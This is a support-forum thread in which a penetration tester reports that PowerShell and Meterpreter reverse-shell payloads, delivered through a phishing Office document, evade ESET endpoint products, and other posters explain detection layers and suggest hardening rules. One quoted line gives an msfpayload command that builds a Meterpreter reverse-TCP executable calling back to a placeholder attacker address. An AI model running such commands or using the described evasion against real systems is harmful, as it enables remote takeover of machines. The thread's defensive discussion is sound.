Latest ESET products not detecting apt tools

[thrilla_killa 0]

Is ESET supposed to detect apt actors or tools?  I am testing a framework (simple base64 encoded powershell payloads) and none of your products are detecting them?  All settings are verified as on.

Edited April 19, 2018 by Marcos
Case changed

[Marcos 5,074]

There are several layers that could detect such threat:
1, Detection by a signature.
2, Web access protection if the powershell script is downloaded from the Internet.
3, AMSI scanner upon execution of powershell.
4, Advanced memory scanner if the payload is a file that is executed.

The question is if the payload does something really malicious. Please contact samples[at]eset.com and provide details.

[thrilla_killa 0]

Unfortunately, I am not providing my source code at this time.  I just wanted to advise that powershell, which is readily available on windows systems, can easily bypass the ESET systems and allow commands to be run from remote agents with ease.

 

[Marcos 5,074]

11 minutes ago, thrilla_killa said:

Unfortunately, I am not providing my source code at this time.  I just wanted to advise that powershell, which is readily available on windows systems, can easily bypass the ESET systems and allow commands to be run from remote agents with ease.

 

Unfortunately without a proof we cannot comment on it. Of course, no antivirus detects 100% of all threats, especially when it comes to scripts. And blocking all powershell scripts just because they could be misused is not a good solution either.

[itman 1,659]

On ‎4‎/‎19‎/‎2018 at 1:30 PM, thrilla_killa said:

I am testing a framework (simple base64 encoded powershell payloads) and none of your products are detecting them?

For reference, you might want to refer to this ad hoc AV lab test done last summer by Malware Research Group using Win 10: https://www.mrg-effitas.com/current-state-of-malicious-powershell-script-blocking/ . Eset was one of the top scorers; only having issues with highly obfuscated scripts as also most other tested AV products did.

On non-Win 10 OS versions, packed, encrypted, and obfuscated scripts pose a real danger in that there is no way to examine those scripts until they load into memory and begin execution. If you aren't using Win 10 or for additional protection if you are, I recommended you create HIPS rules noted in this Eset KB article; especially the PowerShell related rules: https://support.eset.com/kb6119/ . These rules would only be problematic in an enterprise environment where custom PowerShell scripts are deployed.

Edited April 21, 2018 by itman

[thrilla_killa 0]

Even testing super generic reverse_tcp connectors coded as powershell commands, when loading from an external source and not executing on disk, the script executes flawlessly without ESET intervention and will produce a command shell back to the attacking machine.  ALL ESET settings are on and updated such as the AMSI scanner, Unsafe applications, dangerous applications, Live Grid, etc...

[thrilla_killa 0]

The after the fact VBS/WMI tool will not really help us if the client did not know that there was even executed.

[itman 1,659]

9 hours ago, thrilla_killa said:

Even testing super generic reverse_tcp connectors coded as powershell commands, when loading from an external source and not executing on disk, the script executes flawlessly without ESET intervention and will produce a command shell back to the attacking machine. 

You're referring to remote execution of Powershell. Use of PowerShell Empire is a great example of this.

Remote execution attacks against stand-alone PCs are rare since most remote execution methods in Windows especially Win 10 Home vers. are either disabled or restricted in use. Such is not the case for Win Server OS versions. On these versions, remote execution attack vectors such as Remote Desktop access need to be thoroughly analyzed and necessary security procedures implemented.

Also note that Remote Desktop is not disabled for Win 10 Pro+ versions. Just disabling that on endpoint devices will prevent many remote execution attacks. It will also prevent any legit remote admin. activities. Hence the need to develop a comprehensive security plan utilizing proper access controls and the like. 

-EDIT-

In regards to the ATP you simulated, it is a two stage attack. Locally, the script is loaded into memory and a connection is established to a remote C&S server to run the script remotely. Eset's Botnet protection will block the connection to the remote C&C server but only for those known to be of a malicious nature.

Windows 8.1/10 AMSI feature is an in-memory sandbox feature designed to capture locally executed PowerShell, wscript, and cscript scripts and allow AV products to examine them prior to execution.

Edited June 10, 2018 by itman

[itman 1,659]

Forgot to mention that some "common sense" firewall rules will prevent a lot of remote code execution attacks. For example, blocking or moitoring inbound/outbound communication from the script engines; i.e. PowerShell, wscript, and cscript, and the command shell i.e. cmd.exe.

[thrilla_killa 0]

None of these tests were conducted on a standalone machine.  The testing occurred in a business environment running the latest ESET Endpoint Security with the Firewall setting, Dangerous Applications, Potentially Unsafe applications and Live Grid settings on as well as the AMSI scanner.  The OS's in use were never HOME editions, they were fully patched Windows 10 Enterprise builds in an Enterprise environment. 

The attack was also not executed via RDP either.  The attack occurred when a user opened an MS Office document that was provided to them in a phishing campaign against the business. (Email protection was enabled as well).

Another quick note regarding the local execution of powershell scripts: Meterpreter .ps1 files are detected (hooray!) after execution, however, they fail to kill the session and still allow the attacker to have full control of the meterpreter session after the execution of the .ps1 file(?!?!?! does that count as not detected???).  Memory scans and disk scans post execution detect nothing.  Not. One. Thing.

I think the verbiage you have in the AMSI scanner for the business product needs to state that it "only detects locally executed powershell attacks" and that "botnet protection" only stops communications of known botnets.

Also, how does ESET Augur play into all of this when an item is validly malicious in nature?

[itman 1,659]

37 minutes ago, thrilla_killa said:

The attack occurred when a user opened an MS Office document that was provided to them in a phishing campaign against the business. (Email protection was enabled as well).

You'll have to elaborate here. Eset's e-mail scanner will not detect malicious macro code for example.

[thrilla_killa 0]

Was a simple formula embedded in a document that pointed to a remote server to load the .ps1 file.

[itman 1,659]

18 minutes ago, thrilla_killa said:

Was a simple formula embedded in a document that pointed to a remote server to load the .ps1 file.

Sounds like this bugger: https://www.lastline.com/labsblog/when-scriptlets-attack-excels-alternative-to-dde-code-execution/

And I believe Microsoft issue a patch for this to MS Office that was distributed via Win Updates?

[thrilla_killa 0]

Was not DDE nor the item shown.  I am familiar with this attack vector and it closed in December.

Edited June 14, 2018 by thrilla_killa

[thrilla_killa 0]

Again, the machines are fully patched and MS Office was a fresh, updated and Windows Updated build.

[itman 1,659]

Do you have active content disabled?

https://support.office.com/en-us/article/active-content-types-in-your-files-b7ff2e8a-4055-47d4-8c7d-541e19f62bea?ocmsassetID=HA010354381&CorrelationId=106ceb11-a90e-478f-a69c-4e59deb1e36a&ui=en-US&rs=en-US&ad=US

[thrilla_killa 0]

Yep.

[thrilla_killa 0]

I get it, there are mitigations that can be taken by the business.  However, the AV should catch malicious payloads and terminate generic items like "meterpreter" when they are in memory, and in the active Red Team tests we conducted, they did not.  Though, they got a local .ps1 file.  But why would they not be able to quarantine an IN MEMORY, malicious and widely known process like meterpreter???

[itman 1,659]

1 hour ago, thrilla_killa said:

But why would they not be able to quarantine an IN MEMORY, malicious and widely known process like meterpreter???

Quote

In this case the payload is windows/meterpreter/reverse_tcp encoded as an exe file, without obfuscation. Generated using this command:

msfpayload windows/meterpreter/reverse_tcp LHOST=1.2.3.4 X > payload.exe

The logical answer is that yes, since Metasploit is largely open source, all AV should detect and block Metasploit generated modules if they are doing their jobs. Unfortunately, the reality is that it is incredibly hard to actually detect and block malicious code/executables even if it is generated with a open source framework such as Metasploit. My take on the matter is simply that Metasploit had a new update and AV vendors have not created signatures for the new generated payloads yet.

https://security.stackexchange.com/questions/80454/should-anti-virus-detect-metasploit-payloads

Edited June 14, 2018 by itman

[thrilla_killa 0]

Which leads to my clients' take on signature vs signature-less solutions line Cylance.

[itman 1,659]

1 minute ago, thrilla_killa said:

Which leads to my clients' take on signature vs signature-less solutions line Cylance.

https://www.blackhillsinfosec.com/bypassing-cylance-part-4-metasploit-meterpreter-powershell-empire-agent/

[thrilla_killa 0]

Really we just went around in a circle with the most obvious outcome: the protection is lacking in capabilities and other solutions need to be looked at. New attacks are missed whereas items that are known are not.

[thrilla_killa 0]

Yes, I am very familiar with this article.  Also, I am familiar with the C2 software such as Cobalt Strike and Empire that is able to bypass AV, such as ESET. There are others that you can download on Github as well.

[itman 1,659]

Here's another way to look at this.

What good would a pentest tool like Metasploit be if security software could easily defeat it? You can keep "building better mouse traps" but the mouse always somehow figures a way to bypass it. In the end, you've spent a lot of money on useless mouse traps and the mouse gets fatter by the day. 

[itman 1,659]

On ‎6‎/‎10‎/‎2018 at 1:41 AM, thrilla_killa said:

Even testing super generic reverse_tcp connectors coded as powershell commands, when loading from an external source and not executing on disk, the script executes flawlessly without ESET intervention and will produce a command shell back to the attacking machine. 

Tip - any outbound script(Powershell, wscript, cscript, and cmd.exe) communication should be blocked and logged by creating appropriate Eset firewall rules.

How I block remote PSExec and PAExec execution for example is create corresponding HIPS rules for each to prevent the local targeted device service executable, PSEXECSVC.exe, from being created or executed from C:\Windows directory.